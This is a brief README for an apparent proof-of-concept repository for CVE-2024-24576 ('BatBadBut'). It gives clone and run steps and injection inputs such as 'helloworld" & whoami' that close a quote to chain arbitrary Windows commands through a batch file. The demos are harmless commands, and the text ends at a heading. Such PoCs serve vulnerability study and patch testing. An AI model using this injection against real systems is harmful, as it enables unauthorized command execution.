PoC for CVE-2024-24576 vulnerability "BatBadBut"
After running the script will ask you for an argument, the argument will be passed the the bat file, if you close the argument with " and after that & you can run any Windows command. For example:
helloworld" & whoamiAs a result, you will get the whoami command.
Of course in real time it would not look like that, this is just PoC for the CVE.
Clone the repository:
git clone https://github.com/SheL3G/CVE-2024-24576-PoC-BatBadBut.gitRunning the script:
Python CVE-2024-24576.pyTo make it work type something close with " and then "&" and any command like calc.exe, hostname, whoami...
HelloWorld" & hostnameThe Flow of the CVE and the possible way to make it work
